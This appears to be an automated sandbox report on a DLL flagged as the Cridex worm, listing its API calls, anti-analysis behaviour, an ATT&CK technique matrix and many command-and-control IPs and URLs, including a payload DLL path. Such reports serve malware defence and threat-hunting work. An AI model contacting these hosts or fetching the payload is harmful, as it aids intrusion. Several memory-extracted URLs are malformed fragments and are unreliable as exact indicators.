Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0074149A push eax; retf 006Ch	3_3_00741679
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00740B87 push ds; retf	3_3_00740B88
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00740B87 push ds; retf	3_3_00740B88

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\loaddll32.exe

Code function: OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,GetAdaptersInfo,

0_2_6EFE51A7

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EFF3930 GetTokenInformation,GetTokenInformation,GetSystemInfo,GetTokenInformation,

0_2_6EFF3930

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6F00CEF8 FindFirstFileExW,

0_2_6F00CEF8

Source: loaddll32.exe, 00000000.00000002.872703373.00000000015AB000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAWw
Source: rundll32.exe, 00000003.00000003.490201324.000000000072C000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW8
Source: loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000003.490201324.000000000072C000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW

Anti Debugging:

Found potential dummy code loops (likely to delay analysis)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 90% for more than 60s

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EFF6C50 KiUserExceptionDispatcher,LdrLoadDll,

0_2_6EFF6C50

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EFF7A60 RtlAddVectoredExceptionHandler,

0_2_6EFF7A60

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.77.0.96 235	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.56.219.47 180	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.46.210.220 187	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 143.244.140.214 40	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll',#1

Jump to behavior

Source: loaddll32.exe, 00000000.00000002.873263052.0000000001CD0000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.885731516.0000000003360000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000002.873263052.0000000001CD0000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.885731516.0000000003360000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.873263052.0000000001CD0000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.885731516.0000000003360000.00000002.00020000.sdmp	Binary or memory string: &Program Manager
Source: loaddll32.exe, 00000000.00000002.873263052.0000000001CD0000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.885731516.0000000003360000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EFF2980 GetUserNameW,

0_2_6EFF2980

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection112	Virtualization/Sandbox Evasion11	Input Capture1	Security Software Discovery11	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection112	LSASS Memory	Virtualization/Sandbox Evasion11	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information1	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Rundll321	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol13	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Network Configuration Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	File and Directory Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Information Discovery13	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Variant.Razy.980776.8232.dll	6%	Virustotal		Browse
SecuriteInfo.com.Variant.Razy.980776.8232.dll	18%	ReversingLabs	Win32.Worm.Cridex

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://143.244.140.214:808/9	0%	Avira URL Cloud	safe
https://143.244.140.214/N	0%	Avira URL Cloud	safe
https://192.46.210.220/aenh.dll	0%	Avira URL Cloud	safe
https://143.244.140.214:808/lq	0%	Avira URL Cloud	safe
https://143.244.140.214:808/4	0%	Avira URL Cloud	safe
https://455.56.219.47:8116/	0%	Avira URL Cloud	safe
https://143.244.140.214:808/hyz	0%	Avira URL Cloud	safe
https://192.46.210.220/Certification	0%	URL Reputation	safe
https://192.46.210.220/7.0.96:6891/Microsoft	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/.0.96:6891/	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/$	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/oft	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/n	0%	Avira URL Cloud	safe
https://143.244.140.214/%	0%	Avira URL Cloud	safe
https://143.244.140.214:808/hyg	0%	Avira URL Cloud	safe
https://143.244.140.214:808/oft	0%	URL Reputation	safe
https://45.77.0.96:6891/u	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/g	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/.0.96:6891/Microsoft	0%	Avira URL Cloud	safe
https://143.244.140.214:808/T	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/fW	0%	Avira URL Cloud	safe
https://143.244.140.214:808/ll	0%	Avira URL Cloud	safe
https://143.244.140.214/6	0%	Avira URL Cloud	safe
https://192.46.210.220/)	0%	Avira URL Cloud	safe
https://192.46.210.220/7.0.96:6891/	0%	Avira URL Cloud	safe
https://143.244.140.214:808/lg	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/ES	0%	Avira URL Cloud	safe
https://192.46.210.220/&	0%	Avira URL Cloud	safe
https://192.46.210.220/GlobalSign	0%	URL Reputation	safe
https://143.244.140.214:808/la	0%	Avira URL Cloud	safe
https://192.46.210.220/aenh.dlluKZ	0%	Avira URL Cloud	safe
https://192.46.210.220/-	0%	Avira URL Cloud	safe
https://192.46.210.220/;	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/Q	0%	Avira URL Cloud	safe
https://143.244.140.214/	0%	URL Reputation	safe
https://143.244.140.214:808/My	0%	URL Reputation	safe
https://185.56.219.47/	0%	URL Reputation	safe
https://192.46.210.220/5	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/V	0%	Avira URL Cloud	safe
https://192.46.210.220/C	0%	Avira URL Cloud	safe
https://192.46.210.220/0y	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/4.140.214:808/	0%	Avira URL Cloud	safe
https://192.46.210.220/G	0%	Avira URL Cloud	safe
https://185.56.219.47/R	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/08/	0%	Avira URL Cloud	safe
https://143.244.140.214:808/em32	0%	Avira URL Cloud	safe
https://192.46.210.220/S	0%	Avira URL Cloud	safe
https://192.46.210.220/Q	0%	Avira URL Cloud	safe
https://192.46.210.220/O	0%	Avira URL Cloud	safe
https://143.244.140.214:808/	0%	URL Reputation	safe
https://185.56.219.47:8116/.	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/	0%	URL Reputation	safe
https://192.46.210.220/Y	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/-	0%	Avira URL Cloud	safe
https://185.56.219.47/c	0%	Avira URL Cloud	safe
https://192.46.210.220/W	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/3	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/0	0%	Avira URL Cloud	safe
https://192.46.210.220/V	0%	Avira URL Cloud	safe
https://192.46.210.220/en-US	0%	Avira URL Cloud	safe
https://192.46.210.220/d	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/5	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/-	0%	Avira URL Cloud	safe
https://143.244.140.214:808/ll&	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/?	0%	Avira URL Cloud	safe
https://192.46.210.220/j	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/C	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/D	0%	Avira URL Cloud	safe
https://192.46.210.220/r	0%	Avira URL Cloud	safe
https://192.46.210.220/n	0%	Avira URL Cloud	safe
https://143.244.140.214:808/hy	0%	URL Reputation	safe
https://185.56.219.47:8116/llt	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/	0%	URL Reputation	safe
https://45.77.0.96/	0%	URL Reputation	safe
https://185.56.219.47:8116/l	0%	Avira URL Cloud	safe
https://192.46.210.220/graphy	0%	Avira URL Cloud	safe
https://192.46.210.220/coro8	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/6/	0%	Avira URL Cloud	safe
https://143.244.140.214:808/llg	0%	Avira URL Cloud	safe
https://143.244.140.214:808/llh	0%	Avira URL Cloud	safe
https://192.46.210.220/56.219.47:8116/	0%	Avira URL Cloud	safe
https://192.46.210.220/	0%	URL Reputation	safe
https://182.46.210.220/	0%	Avira URL Cloud	safe
https://142.46.210.220/	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/soft	0%	Avira URL Cloud	safe
https://45.77.0.96/A	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/der	0%	Avira URL Cloud	safe
https://143.244.140.214:808/x	0%	Avira URL Cloud	safe
https://143.244.140.214:808/.140.214:808/	0%	Avira URL Cloud	safe
https://143.244.140.214:808/l9	0%	Avira URL Cloud	safe
https://143.244.140.214:808/z	0%	Avira URL Cloud	safe
https://183.244.140.214:808/	0%	Avira URL Cloud	safe
https://143.244.140.214:808/q	0%	Avira URL Cloud	safe
https://192.46.210.220/aenh.dllu	0%	Avira URL Cloud	safe
https://143.244.140.214:808/l0	0%	Avira URL Cloud	safe
https://143.244.140.214:808/l/	0%	Avira URL Cloud	safe
https://143.244.140.214:808/h	0%	Avira URL Cloud	safe
https://192.46.210.220/aenh.dllusZ	0%	Avira URL Cloud	safe
https://143.244.140.214:808/l	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://192.46.210.220/	true	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://143.244.140.214:808/9	rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214/N	loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/aenh.dll	loaddll32.exe, 00000000.00000003.796127425.00000000015B9000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.677056521.00000000015B8000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.806745321.000000000073D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/lq	rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/4	rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://455.56.219.47:8116/	loaddll32.exe, 00000000.00000003.853804872.00000000015B8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://143.244.140.214:808/hyz	rundll32.exe, 00000003.00000003.711929481.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/Certification	loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp	false	URL Reputation: safe	unknown
https://192.46.210.220/7.0.96:6891/Microsoft	rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.711929481.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/.0.96:6891/	rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/$	loaddll32.exe, 00000000.00000003.496791595.00000000015BF000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/oft	rundll32.exe, 00000003.00000003.675255963.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/n	loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214/%	rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/hyg	rundll32.exe, 00000003.00000003.632556707.0000000000736000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/oft	loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.632556707.0000000000736000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://45.77.0.96:6891/u	rundll32.exe, 00000003.00000003.591021257.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/g	rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/.0.96:6891/Microsoft	rundll32.exe, 00000003.00000003.823680145.000000000073D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/T	loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/fW	loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/ll	rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214/6	loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/)	loaddll32.exe, 00000000.00000003.771239473.00000000015B9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/7.0.96:6891/	rundll32.exe, 00000003.00000002.874153392.0000000000739000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/lg	rundll32.exe, 00000003.00000003.591021257.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/ES	loaddll32.exe, 00000000.00000003.845510085.00000000015B9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/&	rundll32.exe, 00000003.00000002.874153392.0000000000739000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/GlobalSign	loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp	false	URL Reputation: safe	unknown
https://143.244.140.214:808/la	loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000003.591021257.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/aenh.dlluKZ	rundll32.exe, 00000003.00000003.798077134.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/-	rundll32.exe, 00000003.00000003.616107262.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/;	loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/Q	rundll32.exe, 00000003.00000003.711929481.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214/	rundll32.exe	false	URL Reputation: safe	unknown
https://143.244.140.214:808/My	rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://185.56.219.47/	loaddll32.exe, 00000000.00000003.499876344.00000000015BF000.00000004.00000001.sdmp, rundll32.exe	false	URL Reputation: safe	unknown
https://192.46.210.220/5	loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/V	loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/C	loaddll32.exe, 00000000.00000003.771239473.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.554460856.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/0y	rundll32.exe, 00000003.00000002.874153392.0000000000739000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/4.140.214:808/	loaddll32.exe, 00000000.00000003.577869805.00000000015B8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/G	rundll32.exe, 00000003.00000002.874095121.00000000006C0000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47/R	loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/08/	rundll32.exe, 00000003.00000003.487957725.000000000073F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/em32	rundll32.exe, 00000003.00000003.798077134.0000000000739000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.742742966.000000000073E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/S	rundll32.exe, 00000003.00000002.874111999.00000000006CA000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/Q	rundll32.exe, 00000003.00000003.493682410.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/O	loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/	loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, rundll32.exe	false	URL Reputation: safe	unknown
https://185.56.219.47:8116/.	loaddll32.exe, 00000000.00000003.577869805.00000000015B8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/	loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, rundll32.exe, 00000003.00000003.591021257.0000000000739000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.519473645.0000000000739000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://192.46.210.220/Y	loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/-	rundll32.exe, 00000003.00000003.554460856.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47/c	rundll32.exe, 00000003.00000003.493682410.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/W	loaddll32.exe, 00000000.00000003.845510085.00000000015B9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/3	rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/0	loaddll32.exe, 00000000.00000003.535107117.00000000015B7000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.490150806.0000000000713000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/V	rundll32.exe, 00000003.00000003.798077134.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/en-US	loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000002.874111999.00000000006CA000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/c	rundll32.exe, 00000003.00000003.527805201.0000000000739000.00000004.00000001.sdmp	false		unknown
https://192.46.210.220/d	loaddll32.exe, 00000000.00000003.796127425.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/5	rundll32.exe, 00000003.00000003.489963534.000000000073E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/-	rundll32.exe, 00000003.00000003.527805201.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/ll&	rundll32.exe, 00000003.00000003.562908687.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/?	loaddll32.exe, 00000000.00000003.677056521.00000000015B8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/j	rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/C	rundll32.exe, 00000003.00000003.657662148.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/D	loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000003.657662148.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/r	rundll32.exe, 00000003.00000003.742742966.000000000073E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/n	loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/hy	loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp, loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000003.632556707.0000000000736000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://185.56.219.47:8116/llt	loaddll32.exe, 00000000.00000003.496791595.00000000015BF000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/	loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.496791595.00000000015BF000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.744898408.00000000015C0000.00000004.00000001.sdmp, rundll32.exe, rundll32.exe, 00000003.00000003.591021257.0000000000739000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://45.77.0.96/	loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://185.56.219.47:8116/l	loaddll32.exe, 00000000.00000003.704163950.00000000015B9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/graphy	rundll32.exe, 00000003.00000003.742742966.000000000073E000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.711929481.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/coro8	loaddll32.exe, 00000000.00000003.618838198.00000000015B8000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/6/	loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/llg	rundll32.exe, 00000003.00000003.562908687.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/llh	rundll32.exe, 00000003.00000003.591021257.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/56.219.47:8116/	rundll32.exe, 00000003.00000003.591021257.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://182.46.210.220/	loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000003.823680145.000000000073D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://142.46.210.220/	rundll32.exe, 00000003.00000002.874111999.00000000006CA000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/soft	loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.789649850.0000000000739000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000002.874153392.0000000000739000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000003.857089400.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96/A	rundll32.exe, 00000003.00000003.490150806.0000000000713000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/der	loaddll32.exe, 00000000.00000003.508139529.00000000015B9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/x	rundll32.exe, 00000003.00000002.874153392.0000000000739000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/.140.214:808/	loaddll32.exe, 00000000.00000003.796127425.00000000015B9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
